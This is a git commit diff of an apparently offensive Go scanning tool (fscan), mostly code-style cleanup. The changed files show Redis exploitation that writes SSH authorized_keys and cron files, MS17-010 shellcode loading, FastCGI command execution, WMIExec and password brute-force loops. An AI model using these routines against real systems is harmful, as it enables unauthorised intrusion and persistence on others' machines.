archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-26 13:11:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

initial cleanup

Browse Source
This commit is contained in:
au
2023-06-05 19:02:55 +03:00
parent 4cfe02ac2c
commit 04a7ba1357
26 changed files with 363 additions and 726 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Plugins/CVE-2020-0796.go
+5 -2
View File
@@ -119,12 +119,15 @@ func SmbGhostScan(info *common.HostInfo) error {
return err
}
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
_ = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return err
}
if bytes.Contains(buff[:n], []byte("Public")) == true {
if bytes.Contains(buff[:n], []byte("Public")) {
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
Plugins/NetBIOS.go
+6 -6
View File
@@ -12,7 +12,7 @@ import (
"time"
)
var netbioserr = errors.New("netbios error")
var errNetBIOS = errors.New("netbios error")
func NetBIOS(info *common.HostInfo) error {
netbios, _ := NetBIOS1(info)
@@ -22,7 +22,7 @@ func NetBIOS(info *common.HostInfo) error {
common.LogSuccess(result)
return nil
}
return netbioserr
return errNetBIOS
}
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
@@ -249,7 +249,7 @@ func (info *NetBiosInfo) String() (output string) {
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
if len(input) < 57 {
err = netbioserr
err = errNetBIOS
return
}
data := input[57:]
@@ -281,7 +281,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
}
}
if len(msg) == 0 {
err = netbioserr
err = errNetBIOS
return
}
err = yaml.Unmarshal([]byte(msg), &netbios)
@@ -293,7 +293,7 @@ func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
if len(ret) < 47 {
err = netbioserr
err = errNetBIOS
return
}
var num1, num2 int
@@ -328,7 +328,7 @@ func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
_, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
Plugins/fcgiscan.go
+38 -64
View File
@@ -6,12 +6,13 @@ import (
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"strconv"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
)
//links
@@ -93,21 +94,21 @@ func FcgiScan(info *common.HostInfo) {
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string
var output = string(stdout)
if strings.Contains(string(stdout), cutLine) { //命令成功回显
output = strings.SplitN(string(stdout), cutLine, 2)[0]
if strings.Contains(output, cutLine) { // 命令成功回显
out := strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, out, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, out)
}
common.LogSuccess(result)
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
}
common.LogSuccess(result)
} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
} else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
}
common.LogSuccess(result)
}
}
@@ -191,38 +192,31 @@ func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
return
}
func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
this.mutex.Lock()
defer this.mutex.Unlock()
this.buf.Reset()
this.h.init(recType, reqId, len(content))
if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.buf.Reset()
c.h.init(recType, reqId, len(content))
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
return err
}
if _, err := this.buf.Write(content); err != nil {
if _, err := c.buf.Write(content); err != nil {
return err
}
if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
return err
}
_, err = this.rwc.Write(this.buf.Bytes())
_, err = c.rwc.Write(c.buf.Bytes())
return err
}
func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return this.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(this, recType, reqId)
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(c, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
@@ -241,29 +235,6 @@ func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
@@ -324,21 +295,21 @@ func (w *streamWriter) Close() error {
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer this.rwc.Close()
defer c.rwc.Close()
err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = this.writePairs(FCGI_PARAMS, reqId, env)
err = c.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
@@ -348,23 +319,26 @@ func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []
var err1 error
// recive untill EOF or FCGI_END_REQUEST
OUTER:
for {
err1 = rec.read(this.rwc)
err1 = rec.read(c.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
switch rec.h.Type {
case FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
case FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
case FCGI_END_REQUEST:
fallthrough
default:
break
break OUTER
}
}
Plugins/ftp.go
+3 -3
View File
@@ -14,7 +14,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
}
starttime := time.Now().Unix()
flag, err := FtpConn(info, "anonymous", "")
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
@@ -29,7 +29,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@@ -50,7 +50,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
conn, err := ftp.Dial(fmt.Sprintf("%v:%v", Host, Port), ftp.DialWithTimeout(time.Duration(common.Timeout)*time.Second))
if err == nil {
err = conn.Login(Username, Password)
if err == nil {
Plugins/icmp.go
+13 -12
View File
@@ -3,14 +3,15 @@ package Plugins
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/icmp"
)
var (
@@ -26,8 +27,8 @@ func CheckLive(hostslist []string, Ping bool) []string {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
if common.Silent == false {
if Ping == false {
if !common.Silent {
if !Ping {
fmt.Printf("(icmp) Target %-15s is alive\n", ip)
} else {
fmt.Printf("(ping) Target %-15s is alive\n", ip)
@@ -39,17 +40,17 @@ func CheckLive(hostslist []string, Ping bool) []string {
}
}()
if Ping == true {
//使用ping探测
if Ping {
// use ping detection
RunPing(hostslist, chanHosts)
} else {
//优先尝试监听本地icmp,批量探测
// try to listen to local icmp first, batch detection
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
} else {
common.LogError(err)
//尝试无监听icmp探测
// Try no listening icmp probe
fmt.Println("trying RunIcmp2")
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
defer func() {
@@ -61,7 +62,7 @@ func CheckLive(hostslist []string, Ping bool) []string {
RunIcmp2(hostslist, chanHosts)
} else {
common.LogError(err)
//使用ping探测
// use ping detection
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
RunPing(hostslist, chanHosts)
@@ -94,7 +95,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
endflag := false
go func() {
for {
if endflag == true {
if endflag {
return
}
msg := make([]byte, 100)
@@ -117,7 +118,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
if len(AliveHosts) == len(hostslist) {
break
}
since := time.Now().Sub(start)
since := time.Since(start)
var wait time.Duration
switch {
case len(hostslist) <= 256:
@@ -297,7 +298,7 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
}
i := 0
for _ = range arrMap1 {
for range arrMap1 {
var maxCountKey string
var maxCountVal = 0
for key, val := range arrMap2 {
Plugins/ms17010-exp.go
+4 -3
View File
@@ -5,12 +5,13 @@ import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"io"
"io/ioutil"
"net"
"os"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
func MS17010EXP(info *common.HostInfo) {
@@ -34,7 +35,7 @@ func MS17010EXP(info *common.HostInfo) {
sc = AesDecrypt(sc_enc, key)
default:
if strings.Contains(common.SC, "file:") {
read, err := ioutil.ReadFile(common.SC[5:])
read, err := os.ReadFile(common.SC[5:])
if err != nil {
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err)
common.LogError(errlog)
Plugins/mssql.go
+1 -1
View File
@@ -18,7 +18,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Plugins/mysql.go
+1 -1
View File
@@ -18,7 +18,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Plugins/oracle.go
+1 -1
View File
@@ -18,7 +18,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Plugins/portscan.go
+11 -6
View File
@@ -2,11 +2,12 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"sort"
"strconv"
"sync"
"time"
"github.com/shadow1ng/fscan/common"
)
type Addr struct {
@@ -29,7 +30,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
}
var newDatas []int
for port, _ := range temp {
for port := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
@@ -40,7 +41,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
results := make(chan string, len(hostslist)*len(probePorts))
var wg sync.WaitGroup
//接收结果
// receive result
go func() {
for found := range results {
AliveAddress = append(AliveAddress, found)
@@ -48,7 +49,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
}
}()
//多线程扫描
// multithreaded scan
for i := 0; i < workers; i++ {
go func() {
for addr := range Addrs {
@@ -58,16 +59,19 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
}()
}
//添加扫描目标
// add scan target
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
Addrs <- Addr{host, port}
}
}
wg.Wait()
close(Addrs)
close(results)
return AliveAddress
}
@@ -102,12 +106,13 @@ func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
}
var newDatas []int
for port, _ := range temp {
for port := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
for _, port := range probePorts {
for _, host := range hostslist {
address := host + ":" + strconv.Itoa(port)
Plugins/postgres.go
+1 -1
View File
@@ -18,7 +18,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
Plugins/rdp.go
+1 -1
View File
@@ -187,7 +187,7 @@ func (g *Client) Login(domain, user, pwd string, timeout int64) error {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
if !breakFlag {
breakFlag = true
wg.Done()
}
Plugins/redis.go
+19 -20
View File
@@ -18,7 +18,7 @@ var (
func RedisScan(info *common.HostInfo) (tmperr error) {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info)
if flag == true && err == nil {
if flag && err == nil {
return err
}
if common.IsBrute {
@@ -27,7 +27,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
@@ -129,13 +129,13 @@ func Expoilt(realhost string, conn net.Conn) error {
if err != nil {
return err
}
if flagSsh == true {
if flagSsh {
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
common.LogSuccess(result)
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
if err != nil {
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
fmt.Printf("[-] %s SSH write key errer: %s", realhost, text)
return err
}
if writeok {
@@ -147,7 +147,7 @@ func Expoilt(realhost string, conn net.Conn) error {
}
}
if flagCron == true {
if flagCron {
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result)
if common.RedisShell != "" {
@@ -169,7 +169,7 @@ func Expoilt(realhost string, conn net.Conn) error {
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, text, err
}
@@ -178,7 +178,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
_, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
if err != nil {
return flag, text, err
}
@@ -205,7 +205,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
_, err = conn.Write([]byte("save\r\n"))
if err != nil {
return flag, text, err
}
@@ -228,7 +228,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, text, err
}
@@ -237,7 +237,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil {
return flag, text, err
}
@@ -260,8 +260,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
if _, err = conn.Write([]byte("save\r\n")); err != nil {
return flag, text, err
}
text, err = readreply(conn)
@@ -315,7 +314,7 @@ func readreply(conn net.Conn) (result string, err error) {
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
return flag, flagCron, err
}
@@ -326,7 +325,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
return flag, flagCron, err
}
@@ -341,7 +340,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
}
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
_, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
if err != nil {
return
}
@@ -355,7 +354,7 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
} else {
dbfilename = text1[0]
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
_, err = conn.Write([]byte("CONFIG GET dir\r\n"))
if err != nil {
return
}
@@ -377,16 +376,16 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
if err != nil {
return
}
dbfilename, err = readreply(conn)
if err != nil {
if _, err = readreply(conn); err != nil {
return
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
dir, err = readreply(conn)
if err != nil {
if _, err = readreply(conn); err != nil {
return
}
return
Plugins/scanner.go
+10 -8
View File
@@ -2,12 +2,13 @@ package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
)
func Scan(info common.HostInfo) {
@@ -23,7 +24,7 @@ func Scan(info common.HostInfo) {
web := strconv.Itoa(common.PORTList["web"])
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
if len(Hosts) > 0 || len(common.HostPort) > 0 {
if common.NoPing == false && len(Hosts) > 0 {
if !common.NoPing && len(Hosts) > 0 {
Hosts = CheckLive(Hosts, common.Ping)
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
}
@@ -31,7 +32,7 @@ func Scan(info common.HostInfo) {
common.LogWG.Wait()
return
}
common.GC()
var AlivePorts []string
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
AlivePorts = NoPortScan(Hosts, info.Ports)
@@ -52,7 +53,7 @@ func Scan(info common.HostInfo) {
common.HostPort = nil
fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
}
common.GC()
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
@@ -85,16 +86,17 @@ func Scan(info common.HostInfo) {
}
}
}
common.GC()
for _, url := range common.Urls {
info.Url = url
AddScan(web, info, &ch, &wg)
}
common.GC()
wg.Wait()
common.LogWG.Wait()
close(common.Results)
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
fmt.Printf("Finished %d/%d", common.End, common.Num)
}
var Mutex = &sync.Mutex{}
Plugins/smb.go
+1 -1
View File
@@ -18,7 +18,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
if flag && err == nil {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
Plugins/smb2.go
+1 -47
View File
@@ -26,7 +26,7 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
if flag2 {
hasprint = true
}
if flag == true {
if flag {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
@@ -126,51 +126,5 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
defer f.Close()
flag = true
return
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
}
//if info.Path == ""{
//}
//path = info.Path
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
//if err != nil {
// return
//}
//flag = true
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
//if err != nil {
// return
//}
//flag = true
//
//_, err = f.Write([]byte("Hello world!"))
//if err != nil {
// return
//}
//
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
Plugins/ssh.go
+7 -6
View File
@@ -3,12 +3,13 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"os"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
)
func SshScan(info *common.HostInfo) (tmperr error) {
@@ -20,7 +21,7 @@ func SshScan(info *common.HostInfo) (tmperr error) {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass)
if flag == true && err == nil {
if flag && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@@ -44,9 +45,9 @@ func SshScan(info *common.HostInfo) (tmperr error) {
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
Auth := []ssh.AuthMethod{}
var Auth []ssh.AuthMethod
if common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(common.SshKey)
pemBytes, err := os.ReadFile(common.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
Plugins/webtitle.go
+19 -25
View File
@@ -4,18 +4,18 @@ import (
"compress/gzip"
"crypto/tls"
"fmt"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"golang.org/x/text/encoding/simplifiedchinese"
"io"
"io/ioutil"
"net/http"
"net/url"
"regexp"
"strings"
"time"
"unicode/utf8"
"github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"golang.org/x/text/encoding/simplifiedchinese"
)
func WebTitle(info *common.HostInfo) error {
@@ -26,7 +26,7 @@ func WebTitle(info *common.HostInfo) error {
err, CheckData := GOWebTitle(info)
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
if common.IsWebCan == false && err == nil {
if common.IsWebCan && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
@@ -59,7 +59,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
return
}
//有跳转
// there is a jump
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
@@ -71,17 +71,16 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData)
//有跳转
// there is a jump
if strings.Contains(result, "://") {
info.Url = result
err, result, CheckData = geturl(info, 3, CheckData)
err, _, CheckData = geturl(info, 3, CheckData)
if err != nil {
return
}
}
}
//是否访问图标
//err, _, CheckData = geturl(info, 2, CheckData)
if err != nil {
return
}
@@ -113,11 +112,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
//if common.Pocinfo.Cookie != "" {
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
//} else {
// req.Header.Set("Cookie", "rememberMe=1")
//}
req.Header.Set("Connection", "close")
var client *http.Client
if flag == 1 {
@@ -140,7 +135,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
if !utf8.Valid(body) {
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
}
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
CheckData = append(CheckData, WebScan.CheckDatas{Body: body, Headers: fmt.Sprintf("%s", resp.Header)})
var reurl string
if flag != 2 {
title = gettitle(body)
@@ -154,7 +149,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
}
result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
if reurl != "" {
result += fmt.Sprintf(" 跳转url: %s", reurl)
result += fmt.Sprintf(" jump url: %s", reurl)
}
common.LogSuccess(result)
}
@@ -187,7 +182,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
body = append(body, buf...)
}
} else {
raw, err := ioutil.ReadAll(oResp.Body)
raw, err := io.ReadAll(oResp.Body)
if err != nil {
return nil, err
}
@@ -216,13 +211,12 @@ func gettitle(body []byte) (title string) {
}
func GetProtocol(host string, Timeout int64) (protocol string) {
protocol = "http"
//如果端口是80或443,跳过Protocol判断
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
return
} else if strings.HasSuffix(host, ":443") {
protocol = "https"
return
return "http"
}
if strings.HasSuffix(host, ":443") {
return "https"
}
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
Plugins/wmiexec.go
+3 -2
View File
@@ -3,11 +3,12 @@ package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"os"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
)
@@ -39,7 +40,7 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
if flag == true {
if flag {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)